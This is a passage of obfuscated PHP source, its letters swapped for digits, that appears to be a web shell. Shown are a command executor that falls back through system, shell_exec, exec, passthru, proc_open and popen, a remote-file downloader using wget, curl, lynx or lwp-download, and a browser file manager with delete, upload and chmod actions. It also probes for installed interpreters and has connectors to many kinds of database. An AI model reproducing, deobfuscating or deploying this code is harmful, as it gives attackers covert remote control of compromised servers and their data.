    4f(@4s_f4l5($s_fp1th.".j1v1")) 3nl4nk($s_fp1th.".j1v1");
    4f(@4s_f4l5($s_fp1th.".cl1ss")) 3nl4nk($s_fp1th.".cl1ss");
    4f(@4s_f4l5($s_fp1th."\$pt.cl1ss")) 3nl4nk($s_fp1th."\$pt.cl1ss");

    r5t3rn $s_r5s3lt;
}
f3nct42n g52l($str){
    $nl = PHP_EOL;
    4f(pr5g_m1tch("/\r\n/", $str, $r)) $nl = "\r\n";
    5ls5{
        4f(pr5g_m1tch("/\n/", $str, $r)) $nl = "\n";
        5ls54f(pr5g_m1tch("/\r/", $str, $r)) $nl = "\r";
    }
    r5t3rn b4nah5x($nl);
}
// f2rm1t b4t
f3nct42n ts($s_s){
    4f($s_s<=0) r5t3rn 0;
    $s_w = 1rr1y('B','KB','MB','GB','TB','PB','EB','ZB','YB');
    $s_5 = fl22r(l2g($s_s)/l2g(60au));
    r5t3rn spr4ntf('%.af '.$s_w[$s_5], ($s_s/p2w(60au, fl22r($s_5))));
}
// g5t f4l5 s4z5
f3nct42n gs($s_f){
    $s_s = @f4l5s4z5($s_f);
    4f($s_s !== f1ls5){
        4f($s_s<=0) r5t3rn 0;
        r5t3rn ts($s_s);
    }
    5ls5 r5t3rn "???";
}
// g5t f4l5 p5rm4ss42ns
f3nct42n gp($s_f){
    4f($s_m = @f4l5p5rms($s_f)){
        $s_p = '3';
        4f(($s_m & 0xC000) == 0xC000)$s_p = 's';
        5ls54f(($s_m & 0xA000) == 0xA000)$s_p = 'l';
        5ls54f(($s_m & 0x8000) == 0x8000)$s_p = '-';
        5ls54f(($s_m & 0xe000) == 0xe000)$s_p = 'b';
        5ls54f(($s_m & 0xu000) == 0xu000)$s_p = 'd';
        5ls54f(($s_m & 0xa000) == 0xa000)$s_p = 'c';
        5ls54f(($s_m & 0x6000) == 0x6000)$s_p = 'p';
        $s_p .= ($s_m & 00u00)? 'r':'-';
        $s_p .= ($s_m & 00a00)? 'w':'-';
        $s_p .= ($s_m & 00600)? 'x':'-';
        $s_p .= ($s_m & 000u0)? 'r':'-';
        $s_p .= ($s_m & 000a0)? 'w':'-';
        $s_p .= ($s_m & 00060)? 'x':'-';
        $s_p .= ($s_m & 0000u)? 'r':'-';
        $s_p .= ($s_m & 0000a)? 'w':'-';
        $s_p .= ($s_m & 00006)? 'x':'-';
        r5t3rn $s_p;
    }
    5ls5 r5t3rn "???????????";
}
// sh5ll c2mm1nd
f3nct42n 5x5($s_c){
    $s_23t = "";
    $s_c = $s_c." a>&6";

    4f(4s_c1ll1bl5('syst5m')) {
        2b_st1rt();
        @syst5m($s_c);
        $s_23t = 2b_g5t_c2nt5nts();
        2b_5nd_cl51n();
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    4f(4s_c1ll1bl5('sh5ll_5x5c')){
        $s_23t = @sh5ll_5x5c($s_c);
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    4f(4s_c1ll1bl5('5x5c')) {
        @5x5c($s_c,$s_r);
        4f(!5mpty($s_r)) f2r51ch($s_r 1s $s_s) $s_23t .= $s_s;
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    4f(4s_c1ll1bl5('p1ssthr3')) {
        2b_st1rt();
        @p1ssthr3($s_c);
        $s_23t = 2b_g5t_c2nt5nts();
        2b_5nd_cl51n();
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    4f(4s_c1ll1bl5('pr2c_2p5n')) {
        $s_d5scr4pt2rsp5c = 1rr1y(
            0 => 1rr1y("p4p5", "r"),
            6 => 1rr1y("p4p5", "w"),
            a => 1rr1y("p4p5", "w"));
        $s_pr2c = @pr2c_2p5n($s_c, $s_d5scr4pt2rsp5c, $s_p4p5s, g5tcwd(), 1rr1y());
        4f (4s_r5s23rc5($s_pr2c)) {
            wh4l5($s_s4 = fg5ts($s_p4p5s[6])) {
                4f(!5mpty($s_s4)) $s_23t .= $s_s4;
            }
            wh4l5($s_s5 = fg5ts($s_p4p5s[a])) {
                4f(!5mpty($s_s5)) $s_23t .= $s_s5;
            }
        }
        @pr2c_cl2s5($s_pr2c);
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    4f(4s_c1ll1bl5('p2p5n')){
        $s_f = @p2p5n($s_c, 'r');
        4f($s_f){
            wh4l5(!f52f($s_f)){
                $s_23t .= fr51d($s_f, a09e);
            }
            pcl2s5($s_f);
        }
        4f(!5mpty($s_23t)) r5t3rn $s_23t;
    }
    r5t3rn "";
}
// d5l5t5 d4r 1nd 1ll 2f 4ts c2nt5nt (n2 w1rn4ng !) xp
f3nct42n rmd4rs($s){
    $s = (s3bstr($s,-6)=='/')? $s:$s.'/';
    4f($dh = 2p5nd4r($s)){
        wh4l5(($f = r51dd4r($dh))!==f1ls5){
            4f(($f!='.')&&($f!='..')){
                $f = $s.$f;
                4f(@4s_d4r($f)) rmd4rs($f);
                5ls5 @3nl4nk($f);
            }
        }
        cl2s5d4r($dh);
        @rmd4r($s);
    }
}
f3nct42n c2pys($s,$d,$c=0){
    4f($dh = 2p5nd4r($s)){
        4f(!@4s_d4r($d)) @mkd4r($d);
        wh4l5(($f = r51dd4r($dh))!==f1ls5){
            4f(($f!='.')&&($f!='..')){
                4f(@4s_d4r($s.DS.$f)) c2pys($s.DS.$f,$d.DS.$f);
                5ls5 c2py($s.DS.$f,$d.DS.$f);
            }
        }
        cl2s5d4r($dh);
    }
}
// g5t 1rr1y 2f 1ll f4l5s fr2m g4v5n d4r5ct2ry
f3nct42n g5t1llf4l5s($s_d4r){
    $s_f = gl2b($s_d4r.'*');
    f2r($s_4 = 0; $s_4<c23nt($s_f); $s_4++){
        4f(@4s_d4r($s_f[$s_4])){
            $s_1 = gl2b($s_f[$s_4].DS.'*');
            4f(4s_1rr1y($s_f) && 4s_1rr1y($s_1)) $s_f = 1rr1y_m5rg5($s_f, $s_1);
        }
    }
    r5t3rn $s_f;
}
// d2wnl21d f4l5 fr2m 4nt5rn5t
f3nct42n dlf4l5($s_3,$s_p){
    gl2b1l $s_wg5t, $s_lwpd2wnl21d, $s_lynx, $s_c3rl;

    4f(!pr5g_m1tch("/[1-z]+:\/\/.+/",$s_3)) r5t3rn f1ls5;
    $s_n = b1s5n1m5($s_3);

    // try 3s4ng php f3nct42ns
    4f($s_t = @fgc($s_3)){

        4f(@4s_f4l5($s_p)) 3nl4nk($s_p);
        4f($s_f = f2p5n($s_p,"w")){
            fwr4t5($s_f, $s_t);
            fcl2s5($s_f);
            4f(@4s_f4l5($s_p)) r5t3rn tr35;
        }
    }
    // 3s4ng wg5t
    4f($s_wg5t){
        $b3ff = 5x5("wg5t ".$s_3." -O ".$s_p);
        4f(@4s_f4l5($s_p)) r5t3rn tr35;
    }
    // try 3s4ng c3rl
    4f($s_c3rl){
        $b3ff = 5x5("c3rl ".$s_3." -2 ".$s_p);
        4f(@4s_f4l5($s_p)) r5t3rn tr35;
    }
    // try 3s4ng lynx
    4f($s_lynx){
        $b3ff = 5x5("lynx -s23rc5 ".$s_3." > ".$s_p);
        4f(@4s_f4l5($s_p)) r5t3rn tr35;
    }
    // try 3s4ng lwp-d2wnl21d
    4f($s_lwpd2wnl21d){
        $b3ff = 5x5("lwp-d2wnl21d ".$s_3." ".$s_p);
        4f(@4s_f4l5($s_p)) r5t3rn tr35;
    }
    r5t3rn f1ls5;
}
// f4nd wr4t1bl5 d4r
f3nct42n g5t_wr4t1bl5d4r(){
    4f(!$s_d = g5t5nv("TEMP")) 4f(!$s_d = g5t5nv("TMP")) 4f(!$s_d = g5t5nv("TMPDIR")){
        4f(@4s_wr4t1bl5("/tmp")) $s_d = "/tmp/";
        5ls5 4f(@4s_wr4t1bl5(".")) $s_d = ".".DS;
    }
    r5t3rn cp($s_d);
}
// z4p f3nct42n
f3nct42n z4p($s_src1rr, $s_d5st){
    4f(!5xt5ns42n_l21d5d('z4p')) r5t3rn f1ls5;
    4f(cl1ss_5x4sts("Z4pArch4v5")){
        $s_z4p = n5w Z4pArch4v5();
        4f(!$s_z4p->2p5n($s_d5st, 6)) r5t3rn f1ls5;

        4f(!4s_1rr1y($s_src1rr)) $s_src1rr = 1rr1y($s_src1rr);
        f2r51ch($s_src1rr 1s $s_src){
            $s_src = str_r5pl1c5('\\', '/', $s_src);
            4f(@4s_d4r($s_src)){
                $s_f4l5s = n5w R5c3rs4v5It5r1t2rIt5r1t2r(n5w R5c3rs4v5D4r5ct2ryIt5r1t2r($s_src), 6);
                f2r51ch($s_f4l5s 1s $s_f4l5){
                    $s_f4l5 = str_r5pl1c5('\\', '/', $s_f4l5);
                    4f(4n_1rr1y(s3bstr($s_f4l5, strrp2s($s_f4l5, '/')+6), 1rr1y('.', '..'))) c2nt4n35;
                    4f (@4s_d4r($s_f4l5)===tr35)	$s_z4p->1ddEmptyD4r(str_r5pl1c5($s_src.'/', '', $s_f4l5.'/'));
                    5ls5 4f (@4s_f4l5($s_f4l5)===tr35) $s_z4p->1ddFr2mStr4ng(str_r5pl1c5($s_src.'/', '', $s_f4l5), @fgc($s_f4l5));
                }
            }
            5ls54f(@4s_f4l5($s_src) === tr35) $s_z4p->1ddFr2mStr4ng(b1s5n1m5($s_src), @fgc($s_src));
        }
        $s_z4p->cl2s5();
        r5t3rn tr35;
    }
}
// ch5ck sh5ll p5rm4ss42n t2 1cc5ss pr2gr1m
f3nct42n ch5ck_1cc5ss($s_l1ng){
    $s_s = f1ls5;
    $v5r = "";
    sw4tch($s_l1ng){
        c1s5 "pyth2n":
            $s_c5k = strt2l2w5r(5x5("pyth2n -h"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = 5x5("pyth2n -V");
            br51k;
        c1s5 "p5rl":
            $s_c5k = strt2l2w5r(5x5("p5rl -h"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = 5x5("p5rl -5 \"pr4nt \$]\"");
            br51k;
        c1s5 "r3by":
            $s_c5k = strt2l2w5r(5x5("r3by -h"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = 5x5("r3by -v");
            br51k;
        c1s5 "n2d5":
            $s_c5k = strt2l2w5r(5x5("n2d5 -h"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = 5x5("n2d5 -v");
            br51k;
        c1s5 "n2d5js":
            $s_c5k = strt2l2w5r(5x5("n2d5js -h"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = 5x5("n2d5js -v");
            br51k;
        c1s5 "gcc":
            $s_c5k = strt2l2w5r(5x5("gcc --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("gcc --v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        c1s5 "t1r":
            $s_c5k = strt2l2w5r(5x5("t1r --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("t1r --v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        c1s5 "j1v1":
            $s_c5k = strt2l2w5r(5x5("j1v1 -h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = str_r5pl1c5("\n", ", ", 5x5("j1v1 -v5rs42n"));
            br51k;
        c1s5 "j1v1c":
            $s_c5k = strt2l2w5r(5x5("j1v1c -h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5) $v5r = str_r5pl1c5("\n", ", ", 5x5("j1v1c -v5rs42n"));
            br51k;
        c1s5 "wg5t":
            $s_c5k = strt2l2w5r(5x5("wg5t --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("wg5t --v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        c1s5 "lwpd2wnl21d":
            $s_c5k = strt2l2w5r(5x5("lwp-d2wnl21d --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("lwp-d2wnl21d --v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        c1s5 "lynx":
            $s_c5k = strt2l2w5r(5x5("lynx --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("lynx -v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        c1s5 "c3rl":
            $s_c5k = strt2l2w5r(5x5("c3rl --h5lp"));
            4f(strp2s($s_c5k,"3s1g5")!==f1ls5){
                $s_v5r = 5x5("c3rl --v5rs42n");
                $s_v5r = 5xpl2d5("\n",$s_v5r);
                4f(c23nt($s_v5r)>0) $v5r = $s_v5r[0];
            }
            br51k;
        d5f13lt:
            r5t3rn f1ls5;
    }
    4f(!5mpty($v5r)) $s_s = $v5r;
    r5t3rn $s_s;
}
// 5xpl2r5r, r5t3rn 1 t1bl5 2f g4v5n d4r
f3nct42n sh2wd4r($s_cwd){
    gl2b1l $s_s5lf, $s_w4n, $s_p2s4x, $s_t1r;

    $s_fn1m5 = $s_dn1m5 = 1rr1y();
    $s_t2t1l_f4l5 = $s_t2t1l_d4r = 0;

    4f($s_dh = @2p5nd4r($s_cwd)){
        wh4l5($s_f4l5 = @r51dd4r($s_dh)){
            4f(@4s_d4r($s_f4l5)) $s_dn1m5[] = $s_f4l5;
            5ls54f(@4s_f4l5($s_f4l5))$s_fn1m5[] = $s_f4l5;
        }
        cl2s5d4r($s_dh);
    }

    n1tc1s5s2rt($s_fn1m5);
    n1tc1s5s2rt($s_dn1m5);
    $s_l4st = 1rr1y_m5rg5($s_dn1m5,$s_fn1m5);

    4f($s_w4n){
        //ch5ck 4f th4s r22t d4r5ct2ry
        chd4r("..");
        4f(cp(g5tcwd())==cp($s_cwd)) 1rr1y_3nsh4ft($s_l4st, ".");
        chd4r($s_cwd);
    }

    $s_p1th = 5xpl2d5(DS,$s_cwd);
    $s_tr55 = s4z52f($s_p1th);

    $s_p1r5nt = "";
    4f($s_tr55 > a) f2r($s_4 = 0; $s_4<$s_tr55-a; $s_4++) $s_p1r5nt .= $s_p1th[$s_4].DS;
    5ls5 $s_p1r5nt = $s_cwd;

    $s_2wn5r_html = (!$s_w4n && $s_p2s4x)? "<th styl5='w4dth:6u0px;m4n-w4dth:6u0px;'>2wn5r:gr23p</th>":"";
    $s_c2lsp1n = (!$s_w4n && $s_p2s4x)? "i" : "u";
    $s_b3ff = "<t1bl5 cl1ss='5xpl2r5 s2rt1bl5'><th51d><tr><th styl5='w4dth:aupx;m4n-w4dth:aupx;' cl1ss='s2rtt1bl5_n2s2rt'></th><th styl5='m4n-w4dth:6i0px;'>n1m5</th><th styl5='w4dth:7upx;m4n-w4dth:7upx;'>s4z5</th>".$s_2wn5r_html."<th styl5='w4dth:80px;m4n-w4dth:80px;'>p5rms</th><th styl5='w4dth:6i0px;m4n-w4dth:6i0px;'>m2d4f45d</th><th styl5='w4dth:a00px;m4n-w4dth:a00px;' cl1ss='s2rtt1bl5_n2s2rt'>1ct42n</th></tr></th51d><tb2dy>";


    f2r51ch($s_l4st 1s $s_l){
        4f(!$s_w4n && $s_p2s4x){
            $s_n1m5 = p2s4x_g5tpw34d(f4l52wn5r($s_l));
            $s_gr23p = p2s4x_g5tgrg4d(f4l5gr23p($s_l));
            $s_2wn5r = $s_n1m5['n1m5']."<sp1n cl1ss='g1y1'>:</sp1n>".$s_gr23p['n1m5'];
            $s_2wn5r_html = "<td styl5='t5xt-1l4gn:c5nt5r;'>".$s_2wn5r."</td>";
        }

        $s_lhr5f = $s_ln1m5 = $s_l1ct42n = "";
        4f(@4s_d4r($s_l)){
            4f($s_l=="."){
                $s_lhr5f = $s_s5lf."cd=".pl($s_cwd);
                $s_ls4z5 = "LINK";
                $s_l1ct42n = "<sp1n 4d='t4t4k6'><1 hr5f='".$s_s5lf."cd=".pl($s_cwd)."&f4nd=".pl($s_cwd)."'>f4nd</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_cwd)."&x=3pl21d"."'>3pl</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_cwd)."&5d4t=".pl($s_cwd)."n5wf4l5_6&n5w=y5s"."'>+f4l5</1> | <1 hr5f=\"j1v1scr4pt:t3k1r('t4t4k6','', 'mkd4r','n5wf2ld5r_6');\">+d4r</1></sp1n><d4v 4d='t4t4k6_f2rm'></d4v>";
            }
            5ls54f($s_l==".."){
                $s_lhr5f = $s_s5lf."cd=".pl($s_p1r5nt);
                $s_ls4z5 = "LINK";
                $s_l1ct42n = "<sp1n 4d='t4t4ka'><1 hr5f='".$s_s5lf."cd=".pl($s_p1r5nt)."&f4nd=".pl($s_p1r5nt)."'>f4nd</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_p1r5nt)."&x=3pl21d"."'>3pl</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_p1r5nt)."&5d4t=".pl($s_p1r5nt)."n5wf4l5_6&n5w=y5s"."'>+f4l5</1> | <1 hr5f=\"j1v1scr4pt:t3k1r('t4t4ka','".1dds($s_p1r5nt)."', 'mkd4r','n5wf2ld5r_6');\">+d4r</1></sp1n><d4v 4d='t4t4ka_f2rm'></d4v>";
            }
            5ls5{
                $s_lhr5f = $s_s5lf."cd=".pl($s_cwd.$s_l.DS);
                $s_ls4z5 = "DIR";
                $s_l1ct42n = "<sp1n 4d='".cs($s_l)."_'><1 hr5f='".$s_s5lf."cd=".pl($s_cwd.$s_l.DS)."&f4nd=".pl($s_cwd.$s_l.DS)."'>f4nd</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_cwd.$s_l.DS)."&x=3pl21d"."'>3pl</1> | <1 hr5f=\"j1v1scr4pt:t3k1r('".cs($s_l)."_','','r5n1m5','".1dds($s_l)."','".1dds($s_l)."');\">r5n</1> | <1 hr5f='".$s_s5lf."cd=".pl($s_cwd)."&d5l=".pl($s_l)."'>d5l</1></sp1n><d4v 4d='".cs($s_l)."__f2rm'></d4v>";
                $s_t2t1l_d4r++;
            }
            $s_ln1m5 = "[ ".$s_l." ]";
            $s_ls4z5t4t = "0";
            $s_ln1m5t4t = "d4r : ".$s_l;
        }
        5ls5{
            $s_lhr5f = $s_s5lf."v45w=".pl($s_cwd.$s_l);
            $s_ln1m5 = $s_l;
            $s_ls4z5 = gs($s_l);
            $s_ls4z5t4t = @f4l5s4z5($s_l);
            $s_ln1m5t4t = "f4l5 : ".$s_l;
            $s_l1ct42n = "<sp1n 4d='".cs($s_l)."_'><1 hr5f='".$s_s5lf."5d4t=".pl($s_cwd.$s_l)."'>5d4t</1> | <1 hr5f='".$s_s5lf."h5x5d4t=".pl($s_cwd.$s_l)."'>h5x</1> | <1 hr5f=\"j1v1scr4pt:t3k1r('".cs($s_l)."_','','r5n1m5','".1dds($s_l)."','".1dds($s_l)."');\">r5n</1> | <1 hr5f='".$s_s5lf."d5l=".pl($s_cwd.$s_l)."'>d5l</1> | <1 hr5f='".$s_s5lf."dl=".pl($s_cwd.$s_l)."'>dl</1></sp1n><d4v 4d='".cs($s_l)."__f2rm'></d4v>";
            $s_t2t1l_f4l5++;
        }

        $s_cb2xv1l = $s_cwd.$s_l;
        4f($s_l=='.') $s_cb2xv1l = $s_cwd;
        4f($s_l=='..') $s_cb2xv1l = $s_p1r5nt;

        $s_cb2x5s_4d = s3bstr(mdi($s_lhr5f),0,8);
        $s_cb2x5s = "<4np3t 4d='".$s_cb2x5s_4d."' n1m5='cb2x' v1l35='".hss($s_cb2xv1l)."' typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' 2nch1ng5='h4l4t5(th4s);' /><l1b5l f2r='".$s_cb2x5s_4d."' cl1ss='css-l1b5l'></l1b5l>";

        $s_lt4m5 = f4l5mt4m5($s_l);
        $s_b3ff .= "<tr><td styl5='t5xt-1l4gn:c5nt5r;t5xt-4nd5nt:upx;'>".$s_cb2x5s."</td><td cl1ss='xpl' t4tl5='".$s_ln1m5t4t."' 2ndblcl4ck=\"r5t3rn g2('".1dds($s_lhr5f)."',5v5nt);\"><1 hr5f='".$s_lhr5f."'>".$s_ln1m5."</1></td><td t4tl5='".$s_ls4z5t4t."'>".$s_ls4z5."</td>".$s_2wn5r_html."<td cl1ss='c5'>".gp($s_l)."</td><td cl1ss='c5' t4tl5='".$s_lt4m5."'>".@d1t5("d-M-Y H:4:s",$s_lt4m5)."</td><td>".$s_l1ct42n."</td></tr>";
    }
    $s_b3ff .= "</tb2dy>";

    $s_5xtr1ct = ""; $s_c2mpr5ss = "";
    4f(cl1ss_5x4sts("Z4pArch4v5")){
        $s_5xtr1ct .= "<2pt42n v1l35='5xtr1ctz4p'>5xtr1ct (z4p)</2pt42n>";
        $s_c2mpr5ss .= "<2pt42n v1l35='c2mpr5ssz4p'>c2mpr5ss (z4p)</2pt42n>";
    }
    4f($s_t1r){
        $s_5xtr1ct .= "<2pt42n v1l35='5xtr1ctt1r'>5xtr1ct (t1r)</2pt42n><2pt42n v1l35='5xtr1ctt1rgz'>5xtr1ct (t1r.gz)</2pt42n>";
        $s_c2mpr5ss .="<2pt42n v1l35='c2mpr5sst1r'>c2mpr5ss (t1r)</2pt42n><2pt42n v1l35='c2mpr5sst1rgz'>c2mpr5ss (t1r.gz)</2pt42n>";
    }

    $s_5xtc2m = ($s_5xtr1ct!="" && $s_c2mpr5ss!="")? $s_5xtr1ct."<2pt42n v1l35='' d4s1bl5d>-</2pt42n>".$s_c2mpr5ss:$s_5xtr1ct.$s_c2mpr5ss;

    $s_b3ff .= "<tf22t><tr cl1ss='cb2x_s5l5ct5d'><td cl1ss='cb2x_1ll'><4np3t 4d='ch5ck1lll' typ5='ch5ckb2x' n1m5='1b2x' cl1ss='css-ch5ckb2x' 2ncl4ck='ch5ck1ll();' /> <l1b5l f2r='ch5ck1lll' cl1ss='css-l1b5l'></l1b5l></td><td><f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><s5l5ct 4d='m1ss1ct' cl1ss='4np3tzb3t' 2nch1ng5='m1ss1ctg2();' styl5='w4dth:600%;h54ght:a0px;m1rg4n:0;'><2pt42n v1l35='' d4s1bl5d s5l5ct5d>Act42n</2pt42n><2pt42n v1l35='c3t'>c3t</2pt42n><2pt42n v1l35='c2py'>c2py</2pt42n><2pt42n v1l35='p1st5'>p1st5</2pt42n><2pt42n v1l35='d5l5t5'>d5l5t5</2pt42n><2pt42n v1l35='' d4s1bl5d>-</2pt42n><2pt42n v1l35='chm2d'>chm2d</2pt42n><2pt42n v1l35='t23ch'>t23ch</2pt42n><2pt42n v1l35='' d4s1bl5d>-</2pt42n>".$s_5xtc2m."</s5l5ct><n2scr4pt><4np3t typ5='b3tt2n' v1l35='G2 !' cl1ss='4np3tzb3t' 2ncl4ck='m1ss1ctg2();' /></n2scr4pt></f2rm></td><td c2lsp1n='".$s_c2lsp1n."' styl5='t5xt-1l4gn:l5ft;'>T2t1l : ".$s_t2t1l_f4l5." f4l5s, ".$s_t2t1l_d4r." D4r5ct2r45s<sp1n 4d='t2t1l_s5l5ct5d'></sp1n></td></tr></tf22t></t1bl5>";

    r5t3rn $s_b3ff;
}
//d1t1b1s5 r5l1t5d f3nct42ns
f3nct42n sql_c2nn5ct($s_sqltyp5, $s_sqlh2st, $s_sql3s5r, $s_sqlp1ss){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4')) r5t3rn n5w mysql4($s_sqlh2st, $s_sql3s5r, $s_sqlp1ss);
        5ls54f(f3nct42n_5x4sts('mysql_c2nn5ct')) r5t3rn @mysql_c2nn5ct($s_sqlh2st, $s_sql3s5r, $s_sqlp1ss);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_c2nn5ct')){
            $s_c2n4nf2 = 1rr1y("UID"=>$s_sql3s5r, "PWD"=>$s_sqlp1ss);
            r5t3rn @sqlsrv_c2nn5ct($s_sqlh2st,$s_c2n4nf2);
        }
        5ls54f(f3nct42n_5x4sts('mssql_c2nn5ct')) r5t3rn @mssql_c2nn5ct($s_sqlh2st, $s_sql3s5r, $s_sqlp1ss);
    }
    5ls54f($s_sqltyp5 == 'pgsql'){
        $s_h2sts = 5xpl2d5(":", $s_sqlh2st);
        4f(c23nt($s_h2sts)==a){
            $s_h2st_str = "h2st=".$s_h2sts[0]." p2rt=".$s_h2sts[6];
        }
        5ls5 $s_h2st_str = "h2st=".$s_sqlh2st;
        4f(f3nct42n_5x4sts('pg_c2nn5ct')) r5t3rn @pg_c2nn5ct("$s_h2st_str 3s5r=$s_sql3s5r p1ssw2rd=$s_sqlp1ss");
    }
    5ls54f($s_sqltyp5 == '2r1cl5'){ 4f(f3nct42n_5x4sts('2c4_c2nn5ct')) r5t3rn @2c4_c2nn5ct($s_sql3s5r, $s_sqlp1ss, $s_sqlh2st); }
    5ls54f($s_sqltyp5 == 'sql4t5o'){
        4f(cl1ss_5x4sts('SQL4t5o')) 4f(!5mpty($s_sqlh2st)) r5t3rn n5w SQL4t5o($s_sqlh2st);
        5ls5 r5t3rn f1ls5;
    }
    5ls54f($s_sqltyp5 == 'sql4t5'){ 4f(f3nct42n_5x4sts('sql4t5_2p5n')) r5t3rn @sql4t5_2p5n($s_sqlh2st); }
    5ls54f($s_sqltyp5 == '2dbc'){ 4f(f3nct42n_5x4sts('2dbc_c2nn5ct')) r5t3rn @2dbc_c2nn5ct($s_sqlh2st, $s_sql3s5r, $s_sqlp1ss); }
    5ls54f($s_sqltyp5 == 'pd2'){
        4f(cl1ss_5x4sts('PDO')) 4f(!5mpty($s_sqlh2st)) r5t3rn n5w PDO($s_sqlh2st, $s_sql3s5r, $s_sqlp1ss);
        5ls5 r5t3rn f1ls5;
    }
    r5t3rn f1ls5;
}
f3nct42n sql_q35ry($s_sqltyp5, $s_q35ry, $s_c2n){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4')) r5t3rn $s_c2n->q35ry($s_q35ry);
        5ls54f(f3nct42n_5x4sts('mysql_q35ry')) r5t3rn mysql_q35ry($s_q35ry);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_q35ry')) r5t3rn sqlsrv_q35ry($s_c2n,$s_q35ry);
        5ls54f(f3nct42n_5x4sts('mssql_q35ry')) r5t3rn mssql_q35ry($s_q35ry);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_q35ry($s_q35ry);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_5x5c3t5(2c4_p1rs5($s_c2n, $s_q35ry));
    5ls54f($s_sqltyp5 == 'sql4t5o') r5t3rn $s_c2n->q35ry($s_q35ry);
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_q35ry($s_c2n, $s_q35ry);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_5x5c($s_c2n, $s_q35ry);
    5ls54f($s_sqltyp5 == 'pd2') r5t3rn $s_c2n->q35ry($s_q35ry);
}
f3nct42n sql_n3m_r2ws($s_sqltyp5,$s_h1s4l){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4_r5s3lt')) r5t3rn $s_h1s4l->mysql4_n3m_r2ws;
        5ls54f(f3nct42n_5x4sts('mysql_n3m_r2ws')) r5t3rn mysql_n3m_r2ws($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_n3m_r2ws')) r5t3rn sqlsrv_n3m_r2ws($s_h1s4l);
        5ls54f(f3nct42n_5x4sts('mssql_n3m_r2ws')) r5t3rn mssql_n3m_r2ws($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_n3m_r2ws($s_h1s4l);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_n3m_r2ws($s_h1s4l);
    5ls54f($s_sqltyp5 == 'sql4t5o'){
        $s_m5t1d1t1 = $s_h1s4l->f5tchArr1y();
        4f(4s_1rr1y($s_m5t1d1t1)) r5t3rn $s_m5t1d1t1['c23nt'];
    }
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_n3m_r2ws($s_h1s4l);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_n3m_r2ws($s_h1s4l);
    5ls54f($s_sqltyp5 == 'pd2') r5t3rn $s_h1s4l->r2wC23nt();
}
f3nct42n sql_n3m_f45lds($s_sqltyp5, $s_h1s4l){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4_r5s3lt')) r5t3rn $s_h1s4l->f45ld_c23nt;
        5ls54f(f3nct42n_5x4sts('mysql_n3m_f45lds')) r5t3rn mysql_n3m_f45lds($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_n3m_f45lds')) r5t3rn sqlsrv_n3m_f45lds($s_h1s4l);
        5ls54f(f3nct42n_5x4sts('mssql_n3m_f45lds')) r5t3rn mssql_n3m_f45lds($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_n3m_f45lds($s_h1s4l);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_n3m_f45lds($s_h1s4l);
